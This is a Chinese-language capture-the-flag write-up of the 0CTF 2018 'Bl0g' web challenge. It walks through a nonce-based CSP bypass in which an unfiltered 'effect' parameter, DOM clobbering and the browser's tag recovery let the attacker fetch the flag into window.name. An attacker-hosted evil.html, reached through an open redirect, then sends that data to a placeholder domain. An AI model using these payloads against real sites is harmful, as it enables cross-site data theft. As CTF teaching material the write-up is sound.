1.CSP
Content-Security-Policy:
script-src 'self' 'unsafe-inline'
Content-Security-Policy:
default-src 'none'; script-src 'nonce-hAovzHMfA+dpxVdTXRzpZq72Fjs=' 'strict-dynamic'; style-src 'self'; img-src 'self' data:; media-src 'self'; font-src 'self' data:; connect-src 'self'; base-uri 'none'
这段csp意思就是,无法引用外部js,也就是<script>的src属性无法引用外部js
插入<script></script>还需要nonce-{random} 如:<script nonce="hrNrmOz0PeaNWcdXDmphINN9ZBo=" src="/assets/js/config.js"></script>
2.effect参数
image.png
POST /new HTTP/1.1
Host: 202.120.7.197:8090
Connection: keep-alive
Content-Length: 35
Cache-Control: max-age=0
Origin: http://202.120.7.197:8090
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://202.120.7.197:8090/new
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: BL0G_SID=vV1p59LGb01C4ys4SIFNve4d_upQrCpyykkXWmj4g-i8u2QQzngP5LIW28L0oB1_NB3cJn0TCwjdE32iBt6h
title=a&content=a&effect=nest
effect字段会插入到页面中的<input type="hidden" id="effect" value="{effect_value}">,但这里实际上是没有任何过滤的,也就是说我们可以通过闭合这个标签并插入我们想要的标签,需要注意的是,这个点只能插入70个字符。
image.png
插入之后因为缺少nonce,所以代码无法执行
找到http://202.120.7.197:8090/assets/js/article.js
$(document).ready(function(){ $("body").append((effects[$("#effect").val()]));
});
浏览器有一定的容错能力,我们可以通过插入<script>,那么这个标签会自动闭合后面config.js的</script>,那么中间的代码就会被视为js代码,被CSP拦截。
image.png
最后构造 payload 将 flag 写入到 window.name :
id"><form name=effects id="<script>$.get('/flag',e=>name=e)"><script>
image.png
利用window.name+iframe跨域获取数据
http://www.cnblogs.com/zichi/p/4620656.html
提交 URL :
http//202.120.7.197:8090/login?next=//domain.com/evil.html
evil.html 通过 iframe 内容读取 window.name:
<iframe src="http://202.120.7.197:8090/article/3860"></iframe>
<script>
setTimeout(()=>{frames[0].window.location.href='/'},1200)
setTimeout(()=>{location.href='http://your_domain/?'+frames[0].window.name},1500)
</script>
image.png
links:
https://lorexxar.cn/2018/04/05/0ctf2018-blog/
https://blog.cal1.cn/post/0CTF%202018%20Quals%20Bl0g%20writeup
网友评论